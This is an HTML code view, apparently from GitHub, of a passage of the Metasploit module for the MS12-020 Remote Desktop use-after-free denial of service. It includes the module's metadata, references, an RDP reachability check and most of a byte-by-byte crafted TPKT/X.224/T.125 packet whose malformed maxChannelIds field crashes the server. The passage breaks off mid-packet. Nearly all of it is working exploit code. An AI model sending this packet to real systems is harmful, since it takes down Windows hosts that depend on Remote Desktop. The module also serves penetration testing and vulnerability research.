rel="#L23">23</span> -<span id="L24" rel="#L24">24</span> -<span id="L25" rel="#L25">25</span> -<span id="L26" rel="#L26">26</span> -<span id="L27" rel="#L27">27</span> -<span id="L28" rel="#L28">28</span> -<span id="L29" rel="#L29">29</span> -<span id="L30" rel="#L30">30</span> -<span id="L31" rel="#L31">31</span> -<span id="L32" rel="#L32">32</span> -<span id="L33" rel="#L33">33</span> -<span id="L34" rel="#L34">34</span> -<span id="L35" rel="#L35">35</span> -<span id="L36" rel="#L36">36</span> -<span id="L37" rel="#L37">37</span> -<span id="L38" rel="#L38">38</span> -<span id="L39" rel="#L39">39</span> -<span id="L40" rel="#L40">40</span> -<span id="L41" rel="#L41">41</span> -<span id="L42" rel="#L42">42</span> -<span id="L43" rel="#L43">43</span> -<span id="L44" rel="#L44">44</span> -<span id="L45" rel="#L45">45</span> -<span id="L46" rel="#L46">46</span> -<span id="L47" rel="#L47">47</span> -<span id="L48" rel="#L48">48</span> -<span id="L49" rel="#L49">49</span> -<span id="L50" rel="#L50">50</span> -<span id="L51" rel="#L51">51</span> -<span id="L52" rel="#L52">52</span> -<span id="L53" rel="#L53">53</span> -<span id="L54" rel="#L54">54</span> -<span id="L55" rel="#L55">55</span> -<span id="L56" rel="#L56">56</span> -<span id="L57" rel="#L57">57</span> -<span id="L58" rel="#L58">58</span> -<span id="L59" rel="#L59">59</span> -<span id="L60" rel="#L60">60</span> -<span id="L61" rel="#L61">61</span> -<span id="L62" rel="#L62">62</span> -<span id="L63" rel="#L63">63</span> -<span id="L64" rel="#L64">64</span> -<span id="L65" rel="#L65">65</span> -<span id="L66" rel="#L66">66</span> -<span id="L67" rel="#L67">67</span> -<span id="L68" rel="#L68">68</span> -<span id="L69" rel="#L69">69</span> -<span id="L70" rel="#L70">70</span> -<span id="L71" rel="#L71">71</span> -<span id="L72" rel="#L72">72</span> -<span id="L73" rel="#L73">73</span> -<span id="L74" rel="#L74">74</span> -<span id="L75" rel="#L75">75</span> -<span id="L76" rel="#L76">76</span> -<span id="L77" rel="#L77">77</span> -<span id="L78" rel="#L78">78</span> -<span id="L79" rel="#L79">79</span> -<span id="L80" rel="#L80">80</span> -<span id="L81" rel="#L81">81</span> -<span id="L82" rel="#L82">82</span> -<span id="L83" rel="#L83">83</span> -<span id="L84" rel="#L84">84</span> -<span id="L85" rel="#L85">85</span> -<span id="L86" rel="#L86">86</span> -<span id="L87" rel="#L87">87</span> -<span id="L88" rel="#L88">88</span> -<span id="L89" rel="#L89">89</span> -<span id="L90" rel="#L90">90</span> -<span id="L91" rel="#L91">91</span> -<span id="L92" rel="#L92">92</span> -<span id="L93" rel="#L93">93</span> -<span id="L94" rel="#L94">94</span> -<span id="L95" rel="#L95">95</span> -<span id="L96" rel="#L96">96</span> -<span id="L97" rel="#L97">97</span> -<span id="L98" rel="#L98">98</span> -<span id="L99" rel="#L99">99</span> -<span id="L100" rel="#L100">100</span> -<span id="L101" rel="#L101">101</span> -<span id="L102" rel="#L102">102</span> -<span id="L103" rel="#L103">103</span> -<span id="L104" rel="#L104">104</span> -<span id="L105" rel="#L105">105</span> -<span id="L106" rel="#L106">106</span> -<span id="L107" rel="#L107">107</span> -<span id="L108" rel="#L108">108</span> -<span id="L109" rel="#L109">109</span> -<span id="L110" rel="#L110">110</span> -<span id="L111" rel="#L111">111</span> -<span id="L112" rel="#L112">112</span> -<span id="L113" rel="#L113">113</span> -<span id="L114" rel="#L114">114</span> -<span id="L115" rel="#L115">115</span> -<span id="L116" rel="#L116">116</span> -<span id="L117" rel="#L117">117</span> -<span id="L118" rel="#L118">118</span> -<span id="L119" rel="#L119">119</span> -<span id="L120" rel="#L120">120</span> -<span id="L121" rel="#L121">121</span> -<span id="L122" rel="#L122">122</span> -<span id="L123" rel="#L123">123</span> -<span id="L124" rel="#L124">124</span> -<span id="L125" rel="#L125">125</span> -<span id="L126" rel="#L126">126</span> -<span id="L127" rel="#L127">127</span> -<span id="L128" rel="#L128">128</span> -<span id="L129" rel="#L129">129</span> -<span id="L130" rel="#L130">130</span> -<span id="L131" rel="#L131">131</span> -<span id="L132" rel="#L132">132</span> -<span id="L133" rel="#L133">133</span> -<span id="L134" rel="#L134">134</span> -<span id="L135" rel="#L135">135</span> -<span id="L136" rel="#L136">136</span> -<span id="L137" rel="#L137">137</span> -<span id="L138" rel="#L138">138</span> -<span id="L139" rel="#L139">139</span> -<span id="L140" rel="#L140">140</span> -<span id="L141" rel="#L141">141</span> -<span id="L142" rel="#L142">142</span> -<span id="L143" rel="#L143">143</span> -<span id="L144" rel="#L144">144</span> -<span id="L145" rel="#L145">145</span> -<span id="L146" rel="#L146">146</span> -<span id="L147" rel="#L147">147</span> -<span id="L148" rel="#L148">148</span> -<span id="L149" rel="#L149">149</span> -<span id="L150" rel="#L150">150</span> -<span id="L151" rel="#L151">151</span> -<span id="L152" rel="#L152">152</span> -<span id="L153" rel="#L153">153</span> -<span id="L154" rel="#L154">154</span> -<span id="L155" rel="#L155">155</span> -<span id="L156" rel="#L156">156</span> -<span id="L157" rel="#L157">157</span> -<span id="L158" rel="#L158">158</span> -<span id="L159" rel="#L159">159</span> -<span id="L160" rel="#L160">160</span> -<span id="L161" rel="#L161">161</span> -<span id="L162" rel="#L162">162</span> -<span id="L163" rel="#L163">163</span> -<span id="L164" rel="#L164">164</span> -<span id="L165" rel="#L165">165</span> -<span id="L166" rel="#L166">166</span> -<span id="L167" rel="#L167">167</span> -<span id="L168" rel="#L168">168</span> -<span id="L169" rel="#L169">169</span> -<span id="L170" rel="#L170">170</span> -<span id="L171" rel="#L171">171</span> -<span id="L172" rel="#L172">172</span> - - </td> - <td class="blob-line-code"> - <div class="highlight"><pre><div class='line' id='LC1'><span class="c1">##</span></div><div class='line' id='LC2'><span class="c1"># This file is part of the Metasploit Framework and may be subject to</span></div><div class='line' id='LC3'><span class="c1"># redistribution and commercial restrictions. Please see the Metasploit</span></div><div class='line' id='LC4'><span class="c1"># Framework web site for more information on licensing and terms of use.</span></div><div class='line' id='LC5'><span class="c1"># http://metasploit.com/framework/</span></div><div class='line' id='LC6'><span class="c1">##</span></div><div class='line' id='LC7'><br/></div><div class='line' id='LC8'><span class="nb">require</span> <span class="s1">&#39;msf/core&#39;</span></div><div class='line' id='LC9'><br/></div><div class='line' id='LC10'><span class="k">class</span> <span class="nc">Metasploit3</span> <span class="o">&lt;</span> <span class="ss">Msf</span><span class="p">:</span><span class="ss">:Auxiliary</span></div><div class='line' id='LC11'><br/></div><div class='line' id='LC12'>&nbsp;&nbsp;<span class="kp">include</span> <span class="ss">Msf</span><span class="p">:</span><span class="ss">:Auxiliary</span><span class="o">::</span><span class="no">Report</span></div><div class='line' id='LC13'>&nbsp;&nbsp;<span class="kp">include</span> <span class="ss">Msf</span><span class="p">:</span><span class="ss">:Exploit</span><span class="o">::</span><span class="ss">Remote</span><span class="p">:</span><span class="ss">:Tcp</span></div><div class='line' id='LC14'>&nbsp;&nbsp;<span class="kp">include</span> <span class="ss">Msf</span><span class="p">:</span><span class="ss">:Auxiliary</span><span class="o">::</span><span class="no">Dos</span></div><div class='line' id='LC15'><br/></div><div class='line' id='LC16'>&nbsp;&nbsp;<span class="k">def</span> <span class="nf">initialize</span><span class="p">(</span><span class="n">info</span> <span class="o">=</span> <span class="p">{})</span></div><div class='line' id='LC17'>&nbsp;&nbsp;&nbsp;&nbsp;<span class="k">super</span><span class="p">(</span><span class="n">update_info</span><span class="p">(</span><span class="n">info</span><span class="p">,</span></div><div class='line' id='LC18'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span class="s1">&#39;Name&#39;</span> <span class="o">=&gt;</span> <span class="s1">&#39;MS12-020 Microsoft Remote Desktop Use-After-Free DoS&#39;</span><span class="p">,</span></div><div class='line' id='LC19'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span class="s1">&#39;Description&#39;</span> <span class="o">=&gt;</span> <span class="sx">%q{</span></div><div class='line' id='LC20'><span class="sx"> This module exploits the MS12-020 RDP vulnerability originally discovered and</span></div><div class='line' id='LC21'><span class="sx"> reported by Luigi Auriemma. The flaw can be found in the way the T.125</span></div><div class='line' id='LC22'><span class="sx"> ConnectMCSPDU packet is handled in the maxChannelIDs field, which will result</span></div><div class='line' id='LC23'><span class="sx"> an invalid pointer being used, therefore causing a denial-of-service condition.</span></div><div class='line' id='LC24'><span class="sx"> }</span><span class="p">,</span></div><div class='line' id='LC25'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span class="s1">&#39;References&#39;</span> <span class="o">=&gt;</span></div><div class='line' id='LC26'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span class="o">[</span></div><div class='line' id='LC27'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span class="o">[</span> <span class="s1">&#39;CVE&#39;</span><span class="p">,</span> <span class="s1">&#39;2012-0002&#39;</span> <span class="o">]</span><span class="p">,</span></div><div class='line' id='LC28'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span class="o">[</span> <span class="s1">&#39;MSB&#39;</span><span class="p">,</span> <span class="s1">&#39;MS12-020&#39;</span> <span class="o">]</span><span class="p">,</span></div><div class='line' id='LC29'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span class="o">[</span> <span class="s1">&#39;URL&#39;</span><span class="p">,</span> <span class="s1">&#39;http://www.privatepaste.com/ffe875e04a&#39;</span> <span class="o">]</span><span class="p">,</span></div><div class='line' id='LC30'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span class="o">[</span> <span class="s1">&#39;URL&#39;</span><span class="p">,</span> <span class="s1">&#39;http://pastie.org/private/4egcqt9nucxnsiksudy5dw&#39;</span> <span class="o">]</span><span class="p">,</span></div><div class='line' id='LC31'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span class="o">[</span> <span class="s1">&#39;URL&#39;</span><span class="p">,</span> <span class="s1">&#39;http://pastie.org/private/feg8du0e9kfagng4rrg&#39;</span> <span class="o">]</span><span class="p">,</span></div><div class='line' id='LC32'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span class="o">[</span> <span class="s1">&#39;URL&#39;</span><span class="p">,</span> <span class="s1">&#39;http://stratsec.blogspot.com.au/2012/03/ms12-020-vulnerability-for-breakfast.html&#39;</span> <span class="o">]</span><span class="p">,</span></div><div class='line' id='LC33'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span class="o">[</span> <span class="s1">&#39;EDB&#39;</span><span class="p">,</span> <span class="s1">&#39;18606&#39;</span> <span class="o">]</span><span class="p">,</span></div><div class='line' id='LC34'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span class="o">[</span> <span class="s1">&#39;URL&#39;</span><span class="p">,</span> <span class="s1">&#39;https://community.rapid7.com/community/metasploit/blog/2012/03/21/metasploit-update&#39;</span> <span class="o">]</span></div><div class='line' id='LC35'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span class="o">]</span><span class="p">,</span></div><div class='line' id='LC36'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span class="s1">&#39;Author&#39;</span> <span class="o">=&gt;</span></div><div class='line' id='LC37'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span class="o">[</span></div><div class='line' id='LC38'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span class="s1">&#39;Luigi Auriemma&#39;</span><span class="p">,</span></div><div class='line' id='LC39'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span class="s1">&#39;Daniel Godas-Lopez&#39;</span><span class="p">,</span> <span class="c1"># Entirely based on Daniel&#39;s pastie</span></div><div class='line' id='LC40'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span class="s1">&#39;Alex Ionescu&#39;</span><span class="p">,</span></div><div class='line' id='LC41'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span class="s1">&#39;jduck&#39;</span><span class="p">,</span></div><div class='line' id='LC42'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span class="s1">&#39;#ms12-020&#39;</span> <span class="c1"># Freenode IRC</span></div><div class='line' id='LC43'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span class="o">]</span><span class="p">,</span></div><div class='line' id='LC44'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span class="s1">&#39;License&#39;</span> <span class="o">=&gt;</span> <span class="no">MSF_LICENSE</span><span class="p">,</span></div><div class='line' id='LC45'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span class="s1">&#39;DisclosureDate&#39;</span> <span class="o">=&gt;</span> <span class="s2">&quot;Mar 16 2012&quot;</span></div><div class='line' id='LC46'>&nbsp;&nbsp;&nbsp;&nbsp;<span class="p">))</span></div><div class='line' id='LC47'><br/></div><div class='line' id='LC48'>&nbsp;&nbsp;&nbsp;&nbsp;<span class="n">register_options</span><span class="p">(</span></div><div class='line' id='LC49'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span class="o">[</span></div><div class='line' id='LC50'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span class="ss">Opt</span><span class="p">:</span><span class="ss">:RPORT</span><span class="p">(</span><span class="mi">3389</span><span class="p">)</span></div><div class='line' id='LC51'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span class="o">]</span><span class="p">,</span> <span class="nb">self</span><span class="o">.</span><span class="n">class</span><span class="p">)</span></div><div class='line' id='LC52'>&nbsp;&nbsp;<span class="k">end</span></div><div class='line' id='LC53'><br/></div><div class='line' id='LC54'>&nbsp;&nbsp;<span class="k">def</span> <span class="nf">is_rdp_up</span></div><div class='line' id='LC55'>&nbsp;&nbsp;&nbsp;&nbsp;<span class="k">begin</span></div><div class='line' id='LC56'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span class="n">connect</span></div><div class='line' id='LC57'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span class="n">disconnect</span></div><div class='line' id='LC58'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span class="k">return</span> <span class="kp">true</span></div><div class='line' id='LC59'>&nbsp;&nbsp;&nbsp;&nbsp;<span class="k">rescue</span> <span class="ss">Rex</span><span class="p">:</span><span class="ss">:ConnectionRefused</span></div><div class='line' id='LC60'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span class="k">return</span> <span class="kp">false</span></div><div class='line' id='LC61'>&nbsp;&nbsp;&nbsp;&nbsp;<span class="k">rescue</span> <span class="ss">Rex</span><span class="p">:</span><span class="ss">:ConnectionTimeout</span></div><div class='line' id='LC62'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span class="k">return</span> <span class="kp">false</span></div><div class='line' id='LC63'>&nbsp;&nbsp;&nbsp;&nbsp;<span class="k">end</span></div><div class='line' id='LC64'>&nbsp;&nbsp;<span class="k">end</span></div><div class='line' id='LC65'><br/></div><div class='line' id='LC66'>&nbsp;&nbsp;<span class="k">def</span> <span class="nf">run</span></div><div class='line' id='LC67'>&nbsp;&nbsp;&nbsp;&nbsp;<span class="n">max_channel_ids</span> <span class="o">=</span> <span class="s2">&quot;</span><span class="se">\x02\x01\xff</span><span class="s2">&quot;</span></div><div class='line' id='LC68'><br/></div><div class='line' id='LC69'>&nbsp;&nbsp;&nbsp;&nbsp;<span class="n">pkt</span> <span class="o">=</span> <span class="s1">&#39;&#39;</span><span class="o">+</span></div><div class='line' id='LC70'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span class="s2">&quot;</span><span class="se">\x03\x00\x00\x13</span><span class="s2">&quot;</span> <span class="o">+</span> <span class="c1"># TPKT: version + length</span></div><div class='line' id='LC71'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span class="s2">&quot;</span><span class="se">\x0E\xE0\x00\x00</span><span class="s2">&quot;</span> <span class="o">+</span> <span class="c1"># X.224 (connection request)</span></div><div class='line' id='LC72'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span class="s2">&quot;</span><span class="se">\x00\x00\x00\x01</span><span class="s2">&quot;</span> <span class="o">+</span></div><div class='line' id='LC73'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span class="s2">&quot;</span><span class="se">\x00\x08\x00\x00</span><span class="s2">&quot;</span> <span class="o">+</span></div><div class='line' id='LC74'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span class="s2">&quot;</span><span class="se">\x00\x00\x00</span><span class="s2">&quot;</span> <span class="o">+</span></div><div class='line' id='LC75'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span class="s2">&quot;</span><span class="se">\x03\x00\x00\x6A</span><span class="s2">&quot;</span> <span class="o">+</span> <span class="c1"># TPKT: version + length</span></div><div class='line' id='LC76'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span class="s2">&quot;</span><span class="se">\x02\xF0\x80</span><span class="s2">&quot;</span> <span class="o">+</span> <span class="c1"># X.224 (connect-initial)</span></div><div class='line' id='LC77'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span class="s2">&quot;</span><span class="se">\x7F\x65\x82\x00</span><span class="s2">&quot;</span> <span class="o">+</span> <span class="c1"># T.125</span></div><div class='line' id='LC78'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span class="s2">&quot;</span><span class="se">\x5E</span><span class="s2">&quot;</span> <span class="o">+</span></div><div class='line' id='LC79'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span class="s2">&quot;</span><span class="se">\x04\x01\x01</span><span class="s2">&quot;</span> <span class="o">+</span> <span class="c1"># callingDomainSelector</span></div><div class='line' id='LC80'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span class="s2">&quot;</span><span class="se">\x04\x01\x01</span><span class="s2">&quot;</span> <span class="o">+</span> <span class="c1"># calledDomainSelector</span></div><div class='line' id='LC81'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span class="s2">&quot;</span><span class="se">\x01\x01\xFF</span><span class="s2">&quot;</span> <span class="o">+</span> <span class="c1"># upwardFlag</span></div><div class='line' id='LC82'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span class="s2">&quot;</span><span class="se">\x30\x19</span><span class="s2">&quot;</span> <span class="o">+</span> <span class="c1"># targetParameters</span></div><div class='line' id='LC83'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span class="n">max_channel_ids</span> <span class="o">+</span> <span class="c1"># maxChannelIds</span></div><div class='line' id='LC84'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span class="s2">&quot;</span><span class="se">\x02\x01\xFF</span><span class="s2">&quot;</span> <span class="o">+</span> <span class="c1"># maxUserIds</span></div><div class='line' id='LC85'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span class="s2">&quot;</span><span class="se">\x02\x01\x00</span><span class="s2">&quot;</span> <span class="o">+</span> <span class="c1"># maxTokenIds</span></div><div class='line' id='LC86'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span class="s2">&quot;</span><span class="se">\x02\x01\x01</span><span class="s2">&quot;</span> <span class="o">+</span> <span class="c1"># numPriorities</span></div><div class='line' id='LC87'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span class="s2">&quot;</span><span class="se">\x02\x01\x00</span><span class="s2">&quot;</span> <span class="o">+</span> <span class="c1"># minThroughput</span></div><div class='line' id='LC88'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span class="s2">&quot;</span><span class="se">\x02\x01\x01</span><span class="s2">&quot;</span> <span class="o">+</span> <span class="c1"># maxHeight</span></div><div class='line' id='LC89'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span class="s2">&quot;</span><span class="se">\x02\x02\x00\x7C</span><span class="s2">&quot;</span> <span class="o">+</span> <span class="c1"># maxMCSPDUsize</span></div><div class='line' id='LC90'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span class="s2">&quot;</span><span class="se">\x02\x01\x02</span><span class="s2">&quot;</span> <span class="o">+</span> <span class="c1"># protocolVersion</span></div><div class='line' id='LC91'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span class="s2">&quot;</span><span class="se">\x30\x19</span><span class="s2">&quot;</span> <span class="o">+</span> <span class="c1"># minimumParameters</span></div><div class='line' id='LC92'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span class="n">max_channel_ids</span> <span class="o">+</span> <span class="c1"># maxChannelIds</span></div><div class='line' id='LC93'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span class="s2">&quot;</span><span class="se">\x02\x01\xFF</span><span class="s2">&quot;</span> <span class="o">+</span> <span class="c1"># maxUserIds</span></div><div class='line' id='LC94'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span class="s2">&quot;</span><span class="se">\x02\x01\x00</span><span class="s2">&quot;</span> <span class="o">+</span> <span class="c1"># maxTokenIds</span></div><div class='line' id='LC95'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span class="s2">&quot;</span><span class="se">\x02\x01\x01</span><span class="s2">&quot;</span> <span class="o">+</span> <span class="c1"># numPriorities</span></div><div class='line' id='LC96'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span class="s2">&quot;</span><span class="se">\x02\x01\x00</span><span class="s2">&quot;</span> <span class="o">+</span> <span class="c1"># minThroughput</span></div><div class='line' id='LC97'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span class="s2">&quot;</span><span class="se">\x02\x01\x01</span><span class="s2">&quot;</span> <span class="o">+</span> <span class="c1"># maxHeight</span></div><div class='line' id='LC98'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span class="s2">&quot;</span><span class="se">\x02\x02\x00\x7C</span><span class="s2">&quot;</span> <span class="o">+</span> <span class="c1"># maxMCSPDUsize</span></div><div class='line' id='LC99'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span class="s2">&quot;</span><span class="se">\x02\x01\x02</span><span class="s2">&quot;</span> <span class="o">+</span> <span class="c1"># protocolVersion</span></div><div class='line' id='LC100'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span class="s2">&quot;</span><span class="se">\x30\x19</span><span class="s2">&quot;</span> <span class="o">+</span> <span class="c1"># maximumParameters</span></div><div class='line' id='LC101'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span class="n">max_channel_ids</span> <span class="o">+</span> <span class="c1"># maxChannelIds</span></div><div class='line' id='LC102'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span class="s2">&quot;</span><span class="se">\x02\x01\xFF</span><span class="s2">&quot;</span> <span class="o">+</span> <span class="c1"># maxUserIds</span></div><div class='line' id='LC103'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span class="s2">&quot;</span><span class="se">\x02\x01\x00</span><span class="s2">&quot;</span> <span class="o">+</span> <span class="c1"># maxTokenIds</span></div><div class='line' id='LC104'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span class="s2">&quot;</span><span class="se">\x02\x01\x01</span><span class="s2">&quot;</span> <span class="o">+</span> <span class="c1"># numPriorities</span></div><div class='line' id='LC105'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span class="s2">&quot;</span><span class="se">\x02\x01\x00</span><span class="s2">&quot;</span> <span class="o">+</span> <span class="c1"># minThroughput</span></div><div class='line' id='LC106'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span class="s2">&quot;</span><span class="se">\x02\x01\x01</span><span class="s2">&quot;</span> <span class="o">+</span> <span class="c1"># maxHeight</span></div><div class='line' id='LC107'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span class="s2">&quot;</span><span class="se">\x02\x02\x00\x7C</span><span class="s2">&quot;</span> <span class="o">+</span> <span class="c1"># maxMCSPDUsize</span></div><div class='line' id='LC108'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span class="s2">&quot;</span><span class="se">\x02\x01\x02</span><span class="s2">&quot;</span> <span class="o">+</span> <span class="c1"># protocolVersion</span></div><div class='line' id='LC109'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span class="s2">&quot;</span><span class="se">\x04\x82\x00\x00</span><span class="s2">&quot;</span> <span class="o">+</span> <span class="c1"># userData</span></div><div class='line' id='LC110'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span class="s2">&quot;</span><span class="se">\x03\x00\x00\x08</span><span class="s2">&quot;</span> <span class="o">+</span> <span class="c1"># TPKT: version + length</span></div><div class='line' id='LC111'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span class="s2">&quot;</span><span class="se">\x02\xF0\x80</span><span class="s2">&quot;</span> <span class="o">+</span> <span class="c1"># X.224</span></div><div class='line' id='LC112'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span class="s2">&quot;</span><span class="se">\x28</span><span class="s2">&quot;</span> <span class="o">+</span> <span class="c1"># T.125</span></div><div class='line' id='LC113'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span class="s2">&quot;</span><span class="se">\x03\x00\x00\x08</span><span class="s2">&quot;</span> <span class="o">+</span> <span class="c1"># TPKT: version + length</span></div><div class='line' id='LC114'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span class="s2">&quot;</span><span class="se">\x02\xF0\x80</span><span class="s2">&quot;</span> <span class="o">+</span> <span class="c1"># X.224</span></div><div class='line' id='LC115'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span class="s2">&quot;</span><span class="se">\x28</span><span class="s2">&quot;</span> <span class="o">+</span> <span class="c1"># T.125</span></div><div class='line' id='LC116'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span class="s2">&quot;</span><span class="se">\x03\x00\x00\x08</span><span class="s2">&quot;</span> <span class="o">+</span> <span class="c1"># TPKT: version + length</span></div><div class='line' id='LC117'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span class="s2">&quot;</span><span class="se">\x02\xF0\x80</span><span class="s2">&quot;</span> <span class="o">+</span> <span class="c1"># X.224</span></div><div class='line' id='LC118'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span class="s2">&quot;</span><span class="se">\x28</span><span class="s2">&quot;</span> <span class="o">+</span> <span class="c1"># T.125</span></div><div class='line' id='LC119'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span class="s2">&quot;</span><span class="se">\x03\x00\x00\x08</span><span class="s2">&quot;</span> <span class="o">+</span> <span class="c1"># TPKT: version + length</span></div><div class='line' id='LC120'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span class="s2">&quot;</span><span class="se">\x02\xF0\x80</span><span class="s2">&quot;</span> <span class="o">+</span> <span class="c1"># X.224</span></div><div class='line' id='LC121'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span class="s2">&quot;</span><span class="se">\x28</span><span class="s2">&quot;</span> <span class="o">+</span> <span class="c1"># T.125</span></div><div class='line' id='LC122'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span class="s2">&quot;</span><span class="se">\x03\x00\x00\x08</span><span class="s2">&quot;</span> <span class="o">+</span> <span class="c1"># TPKT: version + length</span></div><div class='line' id='LC123'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span class="s2">&quot;</span><span class="se">\x02\xF0\x80</span><span class="s2">&quot;</span> <span class="o">+</span> <span class="c1"># X.224</span></div><div class='line' id='LC124'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span class="s2">&quot;</span><span class="se">\x28</span><span class="s2">&quot;</span> <span class="o">+</span> <span class="c1"># T.125</span></div><div class='line' id='LC125'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span class="s2">&quot;</span><span class="se">\x03\x00\x00\x08</span><span class="s2">&quot;</span> <span class="o">+</span> <span class="c1"># TPKT: version + length</span></div><div class='line' 